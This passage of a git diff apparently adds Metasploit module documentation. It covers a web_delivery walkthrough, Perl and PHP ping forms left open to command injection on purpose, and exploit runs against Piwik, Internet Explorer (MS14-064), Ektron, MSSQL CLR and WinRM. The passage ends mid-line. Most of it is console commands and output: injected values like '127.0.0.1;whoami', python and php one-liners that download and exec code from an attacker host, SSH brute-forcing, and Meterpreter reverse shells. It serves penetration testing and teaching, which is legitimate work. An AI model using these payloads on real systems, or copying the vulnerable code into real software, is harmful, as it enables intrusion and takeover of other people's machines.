+msf auxiliary(ssh_login) > run + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery +msf exploit(web_delivery) > set lhost 192.168.2.117 +lhost => 192.168.2.117 +msf exploit(web_delivery) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/DovbvqRaB +[*] Local IP: http://192.168.2.117:8080/DovbvqRaB +[*] Server started. +[*] Run the following command on the target machine: +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());" +msf exploit(web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());" +[*] 192.168.2.156 web_delivery - Delivering Payload +[*] Sending stage (38500 bytes) to 192.168.2.156 +[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35840) at 2017-03-05 19:59:44 -0500 + +^Z +Background session 1? [y/N] y + +msf exploit(web_delivery) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > sysinfo +Computer : Ubuntu14 +OS : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 +Architecture : x64 +Meterpreter : python/linux +meterpreter > +``` + +## Vulnerable Pages + +### Perl cgi + +These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial. + +#### Setup + +In this example, we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner. + +1. Enable cgi: `a2enmod cgid` +2. `mkdir /var/www/cgi-bin` +3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags +4. Create the vulnerable page by writing the following text to `/var/www/cgi-bin/example.pl`: + + ``` + #!/usr/bin/perl + use CGI qw(:standard); + $query = new CGI; + print $query->header( -type=> "text/html"), + $query->start_html(); + $query->import_names( 'Q' ); + if ( $Q::ip ) { + print `ping -c 1 $Q::ip`, ""; + } + print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED), + $query->p("Enter IP to ping:"), + $query->textfield(-name=>"ip"), #, -id=>"ip"), + $query->submit(-name=>"submit"), + $query->end_form(), + $query->end_html(); + ``` + +5. Make it executable: `chmod +x /var/www/cgi-bin/example.pl` + +We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`. + +`curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"` + +or via GET request: + +`curl "http://127.0.0.1/cgi-bin/example.pl?ip=127.0.0.1%3Bwhoami&submit=submit"` (note url encoding) + +``` + + + +Untitled Document + + + +PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. +64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms + +--- 127.0.0.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms +www-data +Enter IP to ping: + + +``` + +### Exploitation + +1. `use exploit/multi/script/web_delivery` +2. `set lhost 192.168.2.117` +3. `exploit` +``` +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/vNPlsjE +[*] Local IP: http://192.168.2.117:8080/vNPlsjE +[*] Server started. +[*] Run the following command on the target machine: +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());" +msf exploit(web_delivery) > +``` +Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation was most likely successful. +``` +[*] 192.168.2.117 web_delivery - Delivering Payload +[*] Sending stage (38500 bytes) to 192.168.2.117 +[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500 +``` + +or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us: +``` +msf exploit(web_delivery) > exploit +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp +[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp +[*] Server started. +[*] Run the following command on the target machine: +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());" +msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit" +[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit" + + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 +[*] 192.168.2.117 web_delivery - Delivering Payload +[*] Sending stage (38500 bytes) to 192.168.2.117 +[*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500 +100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233 +100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit +msf exploit(web_delivery) > sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117) +``` + +### PHP + +In this example we make a `post` form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner. + +1. Enable cgi: `a2enmod php7.0` +2. Create the vulnerable page by writing the following text to `/var/www/html/example.php`: + +``` + + + "); + } + print(" + Enter IP to ping: + "); + ?> + + +``` + +We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`. + +`curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"` + +``` + + + PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. +64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms + +--- 127.0.0.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms +www-data + + Enter IP to ping: + + +``` + +### Exploitation + +1. `use exploit/multi/script/web_delivery` +2. `set lhost 192.168.2.117` +3. `set target 1` +4. `set payload php/meterpreter/reverse_tcp` +5. `exploit` +``` +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/de3uw0 +[*] Local IP: http://192.168.2.117:8080/de3uw0 +[*] Server started. +[*] Run the following command on the target machine: +php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));" +msf exploit(web_delivery) > +``` +Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation was most likely successful. +``` +[*] 192.168.2.117 web_delivery - Delivering Payload +[*] Sending stage (33986 bytes) to 192.168.2.117 +[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500 +``` + +or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us: +``` +msf exploit(web_delivery) > exploit +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp +[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp +[*] Server started. +[*] Run the following command on the target machine: +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());" +msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit" +[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit" + + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed +100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344 +[*] 192.168.2.117 web_delivery - Delivering Payload +[*] Sending stage (33986 bytes) to 192.168.2.117 +[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500 +100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit +``` diff --git a/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md b/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md new file mode 100644 index 0000000000..83a9b25791 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md @@ -0,0 +1,226 @@ +## Vulnerable Application + +Piwik can be downloaded from the official site [piwik.org](https://piwik.org). +Older builds are also available from [builds.piwik.org](https://builds.piwik.org/). + +This module was tested with Piwik versions 2.14.0, 2.16.0, 2.17.1 and 3.0.1 + +## Verification Steps + +### Install Piwik (Debian/Ubuntu) +1. Install dependencies + + ``` + sudo apt install apache2 php5 php5-mysql \ + libapache2-mod-php5 mariadb-server unzip php5-gd php5-curl + ``` +2. Download latest version of piwik (or the version of your choice from [builds.piwik.org](https://builds.piwik.org/)) + + ``` + wget https://builds.piwik.org/piwik.zip + ``` + +3. Unzip Piwik into webroot + + ``` + unzip -d /var/www/html/ piwik.zip + ``` + +4. Make the webserver user the owner of piwik + + ``` + chown -R www-data:www-data /var/www/html/ + ``` + +5. Create a new user and database for piwik. If you want to run multiple versions in parallel use a different database for each install (user is optional). +This example assumes your MySQL root password is **password** + + ``` + mysql -u root -ppassword -e "CREATE DATABASE piwik;" + mysql -u root -ppassword -e "CREATE USER piwik@localhost;" + mysql -u root -ppassword -e "SET PASSWORD FOR piwik@localhost=PASSWORD('piwik');" + mysql -u root -ppassword -e "GRANT ALL PRIVILEGES ON piwik.* TO piwik@localhost;" + mysql -u root -ppassword -e "FLUSH PRIVILEGES;" + ``` + +6. Add a config setting to PHP to stop piwik complaining about it + + ``` + echo always_populate_raw_post_data=-1 > /etc/php5/apache2/conf.d/99-piwik.ini + ``` + +7. Finally restart Apache HTTPD + + ``` + service apache2 restart + ``` + +### Pwn Piwik +1. Install the application (see installation steps above) +2. Start msfconsole +3. Do: ```use [module path]``` +4. Do: ```set RHOST [Domain/IP]``` +5. Do: ```set RPORT [Port]``` +6. Do: ```set TARGETURI [installation directory]``` +7. Do: ```set SSL [True/False]``` +8. Do: ```set USERNAME [valid Piwik superuser credentials]``` +9. Do: ```set PASSWORD [valid Piwik superuser credentials]``` +10. Do: ```run``` +11. You should get a shell. + +## Options + +**TARGETURI** + +Path of the Piwik installation. + +**USERNAME** + +Valid username for a Piwik superuser account. + +**PASSWORD** + +Valid password for a Piwik superuser account. + +## Scenarios + +### Run with a installation of Piwik 3.0.1 + +``` +msf > use exploit/unix/webapp/piwik_superuser_plugin_upload +msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik/ +TARGETURI => /piwik/ +msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.56.2 +RHOST => 192.168.56.2 +msf exploit(piwik_superuser_plugin_upload) > set username firefart +username => firefart +msf exploit(piwik_superuser_plugin_upload) > set password firefart +password => firefart +msf exploit(piwik_superuser_plugin_upload) > options + +Module options (exploit/unix/webapp/piwik_superuser_plugin_upload): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD firefart yes The Piwik password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.56.2 yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /piwik/ yes The URI path of the Piwik installation + USERNAME firefart yes The Piwik username to authenticate with + VHOST no HTTP server virtual host + + +Exploit target: + + Id Name + -- ---- + 0 Piwik + +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 3.0.1 +[*] Checking if Marketplace plugin is active +[+] Seems like the Marketplace plugin is already enabled +[*] Generating plugin +[+] Plugin SDsiXxPMgt generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.2:43169) at 2017-02-13 23:03:29 +0100 +[+] Deleted plugins/SDsiXxPMgt/plugin.json +[+] Deleted plugins/SDsiXxPMgt/SDsiXxPMgt.php + +meterpreter > sysinfo +Computer : web +OS : Linux web 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64 +Meterpreter : php/linux +``` + +### Run against Piwik 2.x + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 2.14.0 +[*] Generating plugin +[+] Plugin zZETuwYkzB generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.2:43182) at 2017-02-13 23:05:27 +0100 +[+] Deleted plugins/zZETuwYkzB/plugin.json +[+] Deleted plugins/zZETuwYkzB/zZETuwYkzB.php +``` + +### Sample output of running with invalid credentials + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:test... +[-] Exploit aborted due to failure: no-access: Failed to authenticate with Piwik +[*] Exploit completed, but no session was created. +``` + +### Sample output of running with non superuser user + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using test:firefart... +[+] Authenticated with Piwik +[*] Checking if user test has superuser access +[-] Exploit aborted due to failure: no-access: Looks like user test has no superuser access +[*] Exploit completed, but no session was created. +``` + +### Sample output of Piwik 3.x with disabled Marketplace plugin + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 3.0.1 +[*] Checking if Marketplace plugin is active +[*] Marketplace plugin is not enabled, trying to enable it +[+] Marketplace plugin enabled +[*] Generating plugin +[+] Plugin TuwgJygjEu generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.2:43246) at 2017-02-13 23:08:36 +0100 +[+] Deleted plugins/TuwgJygjEu/plugin.json +[+] Deleted plugins/TuwgJygjEu/TuwgJygjEu.php +``` diff --git a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md new file mode 100644 index 0000000000..37cef21789 --- /dev/null +++ b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md @@ -0,0 +1,97 @@ +## Vulnerable Application + +This module exploits the Windows OLE Automation array vulnerability, [CVE-2014-6332](https://www.cvedetails.com/cve/cve-2014-6332). The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 boxes. This is because from Windows 8 upward Internet Explorer blocks the payload from executing. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. + +## Verification Steps + +1. Start msfconsole +1. Do: ```use exploit/windows/browser/ms14_064_ole_code_execution``` +1. Do: ```Choose a payload and set any specific options``` +1. Do: ```run```, after a target browses to the generated URL, you should receive a session. + +## Options + +**TRYUAC** + +Ask victim to start as Administrator. This option only works on Windows 7 targets. + +**AllowPowershellPrompt** + +Allow exploit to try Powershell. If exploiting a Windows 7 target you need to enable this option. + +## Scenarios + +### Windows XP Pro SP3 x86 with IE 8.0.6001.18702 + +The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.207`. + +``` +msf > use exploit/windows/browser/ms14_064_ole_code_execution +msf exploit(ms14_064_ole_code_execution) > set PAYLOAD windows/meterpreter/reverse_tcp +PAYLOAD => windows/meterpreter/reverse_tcp +msf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.2.3 +LHOST => 192.168.2.3 +msf exploit(ms14_064_ole_code_execution) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.3:4444 +msf exploit(ms14_064_ole_code_execution) > [*] Using URL: http://0.0.0.0:8080/hGA1Ux +[*] Local IP: http://192.168.2.3:8080/hGA1Ux +[*] Server started. +[*] 192.168.2.207 ms14_064_ole_code_execution - Gathering target information for 192.168.2.207 +[*] 192.168.2.207 ms14_064_ole_code_execution - Sending HTML response to 192.168.2.207 +[*] 192.168.2.207 ms14_064_ole_code_execution - Sending exploit... +[*] 192.168.2.207 ms14_064_ole_code_execution - Sending VBS stager +[*] Sending stage (957487 bytes) to 192.168.2.207 +[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.207:1299) at 2017-03-01 19:07:12 +0100 + +msf exploit(ms14_064_ole_code_execution) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : MACHINE +OS : Windows XP (Build 2600, Service Pack 3). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +``` + +### Windows 7 Pro SP1 x64 with IE 8.0.7601.17514 + +The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.208`. Unlike on the Windows XP, target victim will see a popup dialog apear and they will have to allow the execution of the PowerShell script for the exploit to work. You need to set `AllowPowershellPrompt` option to `true` otherwise the exploit won't work on Windows 7. + +``` +msf > use exploit/windows/browser/ms14_064_ole_code_execution +msf exploit(ms14_064_ole_code_execution) > set PAYLOAD windows/meterpreter/reverse_tcp +PAYLOAD => windows/meterpreter/reverse_tcp +msf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.2.3 +LHOST => 192.168.2.3 +msf exploit(ms14_064_ole_code_execution) > set AllowPowershellPrompt true +AllowPowershellPrompt => true +msf exploit(ms14_064_ole_code_execution) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.3:4444 +msf exploit(ms14_064_ole_code_execution) > [*] Using URL: http://0.0.0.0:8080/6tdgNjLVij3zs +[*] Local IP: http://192.168.2.3:8080/6tdgNjLVij3zs +[*] Server started. +[*] 192.168.2.208 ms14_064_ole_code_execution - Gathering target information for 192.168.2.208 +[*] 192.168.2.208 ms14_064_ole_code_execution - Sending HTML response to 192.168.2.208 +[*] 192.168.2.208 ms14_064_ole_code_execution - Sending exploit... +[*] Sending stage (957487 bytes) to 192.168.2.208 +[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.208:49197) at 2017-03-01 19:35:12 +0100 + +msf exploit(ms14_064_ole_code_execution) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : WINDOWS7_X64 +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +``` diff --git a/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md new file mode 100644 index 0000000000..7e5d435e46 --- /dev/null +++ b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md @@ -0,0 +1,72 @@ +## Vulnerable Application + + [Ektron Content Management System (CMS)](http://www.episerver.com/cms/ektron/) 8.0, 8.5, and 8.7 before 8.7sp2 and 9.0 before sp1 (according to CVE-2015-0923) + + Ektron has been acquired by Epi Server and finding installers may prove difficult. + +## Verification Steps + + But if you can build a test network the following may be used to verify: + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/windows/http/ektron_xslt_exec_ws``` + 4. Do: ```set RHOST [target ip]``` + 5. Do: ```check``` + 6. You should receive a target vulnerable message. + 7. Do: ```exploit``` + 8. You should get a shell. + + In our experience testing against 64 bit hosts should still pass the 'check' in step 6 and return a target vulnerable message. But when injecting shellcode into a new thread it may require the tester to adjust the payload as well. This may be done as follows: + + 1. Do ```set PAYLOAD windows/x64/meterpreter``` + +## Options + + These are important but perhaps less-used options. There are quite a few other 'web' options available which will not be discussed due to their generality. + + **TARGETOP** + + There are multiple operations which are vulnerable to this XSLT bug. We have enumerated more (likely all) of the operations in ServerControlWS.asmx and provide testers with the ability to test the additional operations by setting this option to one of the following: ContentBlockEx, GetContentFlaggingString,GetMessagingString, GetBookmarkString, GetContentRatingString + + This value defaults to ContentBlockEx (from the original reports). Testers may find adjusting this value useful if defenders have included Web Application Firewall (WAF) rules to specifically filter ContentBlockEx as a mitigation in lieu of updating. + + **TARGETURI** + + This allows the tester to adjust the base-installation path. The default value is '/cms400min' but in our experience many deployments are simply the root path '/'. + +## Scenarios + + Checking if a target is vulnerable. + + ``` + msf > use exploit/windows/http/ektron_xslt_exec_ws + msf exploit(ektron_xslt_exec_ws) > set RHOST 192.168.1.175 + RHOST => 192.168.1.175 + msf exploit(ektron_xslt_exec_ws) > check + [+] 192.168.1.175:80 The target is vulnerable + msf exploit(ektron_xslt_exec_ws) > + ``` + + Exploiting a Win7 x64 installation to obtain shell. + + ``` + msf > use exploit/windows/http/ektron_xslt_exec_ws + msf exploit(ektron_xslt_exec_ws) > set RHOST 192.168.1.175 + RHOST => 192.168.1.175 + msf exploit(ektron_xslt_exec_ws) > check + [+] 192.168.1.175:80 The target is vulnerable. + msf exploit(ektron_xslt_exec_ws) > set PAYLOAD windows/x64/meterpreter/reverse_tcp + PAYLOAD => windows/x64/meterpreter/reverse_tcp + msf exploit(ektron_xslt_exec_ws) > set LHOST 192.168.1.50 + LHOST => 192.168.1.50 + msf exploit(ektron_xslt_exec_ws) > exploit + [*] Started reverse TCP handler on 192.168.1.50:4444 + [*] Generating the EXE Payload and the XSLT... + [*] Trying to run the xslt transformation... + [+] Exploitation was successful + [*] Sending stage (1189423 bytes) to 192.168.1.175 + [*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.175:49169) at 2016-10-30 04:36:50 +0000 + + meterpreter > + ``` diff --git a/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md b/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md new file mode 100644 index 0000000000..0de853aa58 --- /dev/null +++ b/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md @@ -0,0 +1,84 @@ +## Introduction + +This module is based on the work that was done by @leechristensen and @sekirkity as documented [here](http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/). + +## Prerequisites + +The module requires SQL credentials for a user with sufficient privileges to: + +* Enable CLR support (if not already enabled). +* Enabled `TRUSTWORTHY` (if not already enabled). +* Add an assembly to the server. +* Create a new stored procedure. + +The module does all of the above, as required. It uploads a .NET Assembly (pre-built, and stored in the `data` folder) which is selected based on the version of the DB in question. This is a shim that exposes a function that allows for a base64-encoded payload to be executed as native shellcode. This function is exposed as a stored proc, which can be called directly through an SQL query with the base64 encoded shellcode. + +This module was tested on SQL 2005, 2012 and 2016 (all x64 versions). I haven't tested on x86 yet. there is code in the module that makes sure that the target architecture matches the payload that was chosen. + +This code also includes command-line builds for the assembly that is used to provide the code execution function, and can be built in the same way that all the other exploits are built (from a Visual Studio command line). + +## Sample Runs: + +MS SQL 2005: + +``` +msf exploit(mssql_clr_payload) > exploit + +[*] [2017.02.10-12:56:15] Started reverse TCP handler on 172.16.255.1:4444 +[!] [2017.02.10-12:56:15] 172.16.255.130:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have TRUSTWORTHY setting on, enabling ... +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have CLR support enabled, enabling ... +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Using version v3.5 of the Payload Assembly +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Adding custom payload assembly ... +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Exposing payload execution stored procedure ... +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Executing the payload ... +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing stored procedure ... +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing assembly ... +[*] [2017.02.10-12:56:16] Sending stage (1189423 bytes) to 172.16.255.130 +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring CLR setting ... +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring Trustworthy setting ... +[*] Meterpreter session 10 opened (172.16.255.1:4444 -> 172.16.255.130:49168) at 2017-02-10 12:56:18 +1000 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-8CT6HVI5D6J +OS : Windows 2008 R2 (Build 7601, Service Pack 1). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` + +MS SQL 2016 + +``` +msf exploit(mssql_clr_payload) > exploit + +[*] [2017.02.10-12:55:58] Started reverse TCP handler on 172.16.255.1:4444 +[!] [2017.02.10-12:55:58] 172.16.255.129:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have TRUSTWORTHY setting on, enabling ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have CLR support enabled, enabling ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Using version v4.0 of the Payload Assembly +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Adding custom payload assembly ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Exposing payload execution stored procedure ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Executing the payload ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing stored procedure ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing assembly ... +[*] [2017.02.10-12:55:58] Sending stage (1189423 bytes) to 172.16.255.129 +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring CLR setting ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring Trustworthy setting ... +[*] Meterpreter session 9 opened (172.16.255.1:4444 -> 172.16.255.129:49732) at 2017-02-10 12:56:00 +1000 + +meterpreter > getuid +Server username: NT Service\MSSQLSERVER +meterpreter > sysinfo +Computer : WIN-7QEE7C4D0GF +OS : Windows 2016 (Build 14393). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` diff --git a/documentation/modules/exploit/winrm/winrm_script_exec.md b/documentation/modules/exploit/winrm/winrm_script_exec.md new file mode 100644 index 0000000000..8612558f64 --- /dev/null +++ b/documentation/modules/exploit/winrm/winrm_script_exec.md @@ -0,0 +1,146 @@ +## Vulnerable Application + +WinRM, is a Windows-native built-in remote management protocol in its simplest form that uses Simple Object Access Protocol to interface with remote computers and servers, as well as Operating Systems and applications. It handles remote connections by means of the WS-Management Protocol, which is based on SOAP (Simple Object Access Protocol). +This module uses valid credentials to login to the WinRM service and execute a payload. It has two available methods for payload delivery: Powershell 2.0 and VBS CmdStager. This module will check if Poweshell 2.0 is available, and if so then it will use that method. Otherwise it falls back to the VBS CmdStager which is less stealthy. + +**IMPORTANT:** If targetting an x64 system with the Poweshell method, one must select an x64 payload. An x86 payload will never return. + +## Example Usage + +### Windows 2008 + +**Powershell 2.0 is used for payload delivery here** + +``` +msf exploit(handler) > use exploit/windows/winrm/winrm_script_exec +msf 